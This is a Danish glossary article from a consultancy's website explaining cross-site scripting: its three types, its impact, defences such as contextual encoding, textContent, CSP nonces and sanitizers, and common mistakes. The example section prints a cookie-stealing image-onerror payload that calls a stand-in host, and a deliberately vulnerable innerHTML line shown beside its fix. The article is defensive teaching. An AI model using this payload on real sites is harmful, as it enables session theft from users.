Engineer

Cross-site scripting

et angreb, der får en side til at køre en angribers script

Hvad det er

Cross-site scripting, næsten altid forkortet XSS, er det angreb, hvor et website tager tekst, der kom fra en anden, sætter den ind i en side, det serverer for andre, og undlader at neutralisere den undervejs, så browseren læser en del af teksten som kode og kører den. Common Weakness Enumeration fører det som CWE-79 under en titel, der siger nogenlunde det samme: input, der ikke bliver neutraliseret, mens en webside genereres. Angriberen ændrer aldrig sitets kode. Angriberen leverer data, og sitet selv bringer scriptet ud til sine egne brugere, inde i sine egne sider.

Der er tre veje ind, og både CWE-posten og OWASP beskriver dem. Ved reflekteret XSS, også kaldet ikke-persistent eller Type 1, rejser payloaden med i requesten, som regel som en URL-parameter, og serveren kopierer den ind i svaret: en side med søgeresultater, en fejlmeddelelse, alt, der gentager det, den fik tilsendt. Offeret skal lokkes til at åbne et særligt udformet link, og derfor placerer CWE-posten den slags links i kernen af mange phishing-angreb. Ved lagret XSS, også kaldet persistent eller Type 2, bliver payloaden gemt først, i en kommentar, et forumindlæg, et profilfelt eller en logbesked, og den kører for alle, der senere ser den post. Ved DOM-baseret XSS, Type 0, ser serveren måske slet ikke payloaden. Sidens eget JavaScript læser noget, angriberen styrer, fx den del af URL'en, der står efter `#`, og skriver det ind i dokumentet på en måde, der får browseren til at parse det som markup.

Navnet passer dårligt til det moderne problem, og OWASP siger det selv: dens cheat sheet om forebyggelse kalder betegnelsen misvisende. Den stammer fra tidlige angreb, der stjal data på tværs af sites, og er siden blevet udvidet til at dække indsprøjtning af næsten ethvert indhold i en side, uanset om et andet site er involveret. Selv forkortelsen har en historie. CWE-posten fortæller, at den oplagte forkortelse på tre bogstaver var almindelig i de første år, indtil sammenfaldet med Cascading Style Sheets fik den til at gå af brug.

OWASP regner XSS for en form for injection, i samme familie som SQL injection. I begge tilfælde krydser data en grænse og lander et sted, hvor de bliver læst som instruktioner: dér den SQL, en database kører, her en sides markup, attributværdier og JavaScript. Kuren har samme form begge steder. Hold data som data i det øjeblik, de bliver sat ind, så har fortolkeren intet af angriberens at køre.

Brug begrebet i en beslutning

Brug »Hvad er cross-site scripting?« i en konkret beslutning. Vi kan knytte begrebet til det system, I bygger eller køber. Konti, adgangskoder og rettigheder sat op, så folk har præcis den adgang, jobbet kræver, og fratrådte mister den samme dag.

Se vores ydelser Kontakt os →

Undersøg antagelserne bag ordet

Brug forklaringen og det tilknyttede arbejde til at formulere spørgsmål til jeres projekt. Vi kan undersøge antagelserne sammen, før et værktøj vælges. Har skrevet 1.000 RBAC-regler til Linux-servere — 1,000 adgangsregler skrevet for at lukke et sikkerhedshul

Har skrevet 1.000 RBAC-regler til Linux-servere Kontakt os →

Hvorfor det betyder noget

Scriptet kører som sitets eget. Browseren fører ikke regnskab med, hvor teksten kom fra; den ser en side, som sitet har serveret fra sin egen oprindelse, og giver scriptet alt, hvad den oprindelse har lov til. OWASP formulerer problemet sådan, at browseren ikke har nogen mulighed for at vide, at scriptet ikke bør nyde tillid. CWE-posten drager konsekvensen: angrebet sætter hensigten bag same-origin policy ud af kraft, den regel, der skal forhindre script fra ét site i at række ind i et andet.

Det, scriptet kan gøre, er det, brugeren kunne. CWE-79 nævner tyveri af private oplysninger i cookies, fx sessionsdata, som det mest almindelige angreb og advarer om, at det er særlig farligt, når offeret har administratorrettigheder på sitet. OWASP's liste er længere: at overtage kontoen, holde øje med, hvad brugeren gør, hente indhold andre steder fra, stjæle følsomme data og omskrive selve siden. Lagret XSS i en logbesked er en klassisk vej netop til de ofre. CWE-posten bruger det som sit eksempel, fordi dem, der læser logbeskeder, ofte er administratorer, og fordi en logviser ikke nødvendigvis håndterer fjendtligt input ordentligt.

Det vedrører alle webteams, ikke kun dem, der stadig skriver markup i hånden. Moderne frameworks har gjort XSS sjældnere: OWASP tilskriver deres skabeloner og automatiske escaping, at der er færre fejl. Alle frameworks har stadig nødudgange til de tilfælde, hvor en udvikler vil indsætte markup direkte, og

OWASP peger på netop dem som de steder, hvor problemerne stadig opstår. Samme cheat sheet slår fast, at ingen enkelt teknik løser XSS, og at der skal en kombination til. Det er rammen for resten af artiklen: indkod først til den rigtige kontekst, og læg de andre lag bag ved.

Sådan ser det ud i praksis

Tag en netbutik, hvis søgeside gentager søgeordet, så `https://shop.example/search?q=lamp` viser `Results: lamp`. Serveren bygger den linje ved at klistre parameteren ind i sin sideskabelon. En angriber sender et offer et link, hvor `q` er dette:

```
<img src=x onerror="fetch('//evil.example/'+document.cookie)">
```

Serveren klistrer den ind som før, og offerets browser modtager:

```
<p>Results: <img src=x onerror="fetch('//evil.example/'+document.cookie)"></p>
```

Billedet kan ikke indlæses, fordi `x` ikke er et billede, og browseren kører `onerror`-handleren, som sender brugerens cookies til angriberens server. Koden står i en attribut og ikke i et `<script>`-element, og det er typisk: OWASP's eget eksempel på en payload bruger et billedes `onerror`-attribut på samme måde.

Løsningen er at indkode værdien til det sted, den lander. I HTML-brødtekst betyder det, at de fem tegn `&`, `<`, `>`, `"` og `'` bliver til `&`, `<`, `>`, `"` og `'`. Den samme payload ankommer så som `<img src=x onerror="...">`, som browseren viser som tekst og aldrig parser som et tag. Frameworks med automatisk escaping gør det for dig; hullet opstår dér, hvor en streng i stedet bygges i hånden.

Ved den DOM-baserede variant sender serveren bare en statisk side, og sidens eget script læser `q` og skriver det ind i overskriften:

```
const heading = document.querySelector("h1");
const q = new URLSearchParams(location.search).get("q");
heading.innerHTML = `Results for ${q}`; // parser q som HTML
heading.textContent = `Results for ${q}`; // viser q som tekst
```

Linjen med `innerHTML` giver angriberens markup til HTML-parseren, og `onerror`-handleren går i gang ligesom før. HTML-standarden bemærker, at et `<script>`-element, der indsættes på den måde, slet ikke bliver udført, og derfor læner payloads sig op ad event-handler-attributter i stedet. Linjen med `textContent` opretter en tekstnode og parser ingenting, så den samme værdi vises som harmløse tegn. OWASP's cheat sheet om DOM-baseret XSS kalder valget af en sikker sink som denne for den bedste løsning, og det generelle cheat sheet beder udviklere om at refaktorere væk fra `innerHTML` hen imod `textContent`.

Bag indkodningen ligger et andet lag. En Content Security Policy, der angiver en nonce, beder browseren om kun at køre de scripts, der bærer den. Det aktuelle W3C-udkast beder serveren om at generere en ny nonce, hver gang den sender en policy, på mindst 128 bit fra en kryptografisk sikker tilfældighedsgenerator. Et indsprøjtet `<script>` har ingen nonce, og en inline-handler som `onerror` ovenfor bliver også afvist, for kun `'unsafe-inline'` eller `'unsafe-hashes'` kan tillade handlere, og en nonce slår `'unsafe-inline'` fra. Udkastet nævner `script-src 'strict-dynamic' 'nonce-{RANDOM}'` sammen med `base-uri 'self'` som en effektiv afhjælpning af XSS, der også er til at rulle ud. I Chromium-baserede browsere går `require-trusted-types-for 'script'` videre og får sinks som `innerHTML` til at afvise almindelige strenge. OWASP advarer stadig om, at en policy er let at sætte forkert op, og regner den for et ekstra lag snarere end det primære forsvar.

På en platform med professionelle og organisatoriske data sætter Next.js' middleware en sådan policy med en ny nonce for hver request og strict-dynamic sammen med HSTS og SameSite-cookies, så browseren er stramt begrænset i, hvad den vil køre og sende. Den samme side beskriver beskyttelse i flere lag for at undgå afhængighed af en enkelt kontrol. Autorisationen på serveren er udformet til at fungere uafhængigt af kontrollerne på klienten, så brugerfladen ikke afgør, hvem der har adgang.

Hvor det går galt

Indkodning til den forkerte kontekst. HTML-entity-kodning er rigtig til tekst mellem tags og ikke nok andre steder. OWASP giver hver kontekst sin egen regel: en værdi inde i en URL-parameter procentkodes i formen `%HH`, og en værdi inde i en attribut kodes til attributter og sættes i anførselstegn. Indkodning beskytter desuden kun det sted, en streng sættes ind, ikke hvad der sker med den bagefter; en værdi, der sendes videre til `eval()`, er usikker, uanset hvad der er gjort ved den. Vid, hvor hver værdi lander, og brug frameworkets encoder til det sted.

Attributter uden anførselstegn. Mellemrum afslutter en attributværdi uden anførselstegn, så en angriber, der kan tilføje et mellemrum, kan tilføje sin egen attribut, og `onmouseover=` er alt, hvad der skal til. Sæt altid attributværdier i anførselstegn, og brug frameworkets attribut-encoder.

Brugerdata i en event-handler-attribut. Attributkodning beskytter ikke JavaScript i `onclick` og dets slægtninge, fordi HTML-parseren afkoder tegnreferencer, før scriptet bliver fortolket. Tilknyt handlere med `addEventListener()`, og giv brugerens værdi med som data.

Et frameworks nødudgang fodret med rå input. Reacts `dangerouslySetInnerHTML`, Angulars `bypassSecurityTrustAs*`-funktioner og Lits `unsafeHTML` slår alle automatisk escaping fra. Når brugere reelt har brug for at skrive markup, så kør den gennem en sanitizer som DOMPurify, som OWASP anbefaler, lad være med at ændre resultatet bagefter, og hold biblioteket opdateret, fordi der hele tiden bliver fundet nye omgåelser.

En `javascript:`-URL i et link. Et websitefelt i en profil, der indeholder `javascript:` efterfulgt af kode, gør et uskyldigt link til et script. React 19 blokerer sådanne URL'er i `src` og `href`, men OWASP siger, at det ikke erstatter applikationens egen validering af URL'er. Tillad de skemanavne, feltet faktisk har brug for, som `https:`, og afvis alt andet.

Inputvalidering eller en WAF som løsningen. Validering hjælper, men den kan ikke fjerne alle farlige tegn fra fri tekst. CWE-postens eksempel er hjerte-smileyen `<3`, som en chatapplikations validering sandsynligvis ville lukke igennem, og som stadig indeholder `<`. En web application firewall matcher kendte angrebsstrenge, overser nye omgåelser og ser aldrig DOM-baseret XSS, der foregår helt i browseren; OWASP anbefaler ikke en til at forebygge XSS. Indkod outputtet, og regn begge dele for ekstra lag.

HttpOnly som en kur. Når sessionscookien er markeret HttpOnly, kan `document.cookie` ikke læse den, og det stækker den mest almindelige payload. Scriptet kører dog stadig og kan handle som brugeren inde fra siden. CWE-posten kalder HttpOnly ikke en fuldstændig løsning, og OWASP siger, at cookie-attributter begrænser skaden uden at forhindre udførelsen. Sæt den, og luk selve hullet.

JSON serveret som HTML. Et endepunkt, der returnerer brugerdata med `Content-Type: text/html`, inviterer browseren til at parse dem som en side. OWASP's regel er at sikre, at JSON går ud som `application/json`. Sæt headeren eksplicit på hvert eneste af den slags svar.

Policyen som det primære forsvar. En nonce, der genbruges på tværs af svar, en manglende `base-uri` eller en `'unsafe-inline'`, der blev tilføjet for at få én widget til at virke, kan hver især stille og roligt sætte en policy ud af spil. Indkod først, og lad policyen fange det, der slipper igennem.

Læs mere

- CWE-79 in the Common Weakness Enumeration — svaghedsposten: de tre typer, konsekvenserne og afhjælpningerne med deres begrænsninger.
- OWASP Cross Site Scripting Prevention Cheat Sheet — indkodning for hver kontekst, frameworkenes nødudgange, sanering og lagene bag dem.
- OWASP DOM based XSS Prevention Cheat Sheet — sikre og usikre sinks i browseren, med gennemregnede eksempler.
- OWASP: Cross Site Scripting (XSS) — angrebet set fra angriberens side, med eksempler på payloads.
- HTML Standard: Scripting — hvordan og hvornår `script`-elementet kører, også i indsat markup.
- Content Security Policy Level 3 — nonces, `'strict-dynamic'` og den stramme policy, udkastet anbefaler.

Ordliste

Vælg ud fra jeres faktiske vilkår

Medbring udrulningsforløbet, driftsrisiciene og dem, der har vagten. Vi kan afgrænse en ændring med kontroller, en vej tilbage og tydeligt ansvar.

Se, hvad det koster Kontakt os →

Gør begreberne praktiske

Spørg, hvordan »Hvad er cross-site scripting?« gælder i jeres organisation. Et konkret eksempel fra jeres nuværende system er nok til at begynde samtalen.

Se vores ydelser

welcome@engineer.company +45 50 10 61 84 København, Danmark

Tag denne side med dig

Visitkort

Lavet med kærlighed af D.

CVR 45969703 · Tagensvej 105C, 3. th, 2200 København N

Copyright © 2025 – nu · Engineer ApS · Alle rettigheder forbeholdes.

Udskrevet fra https://engineer.company/da/glossary/cross-site-scripting/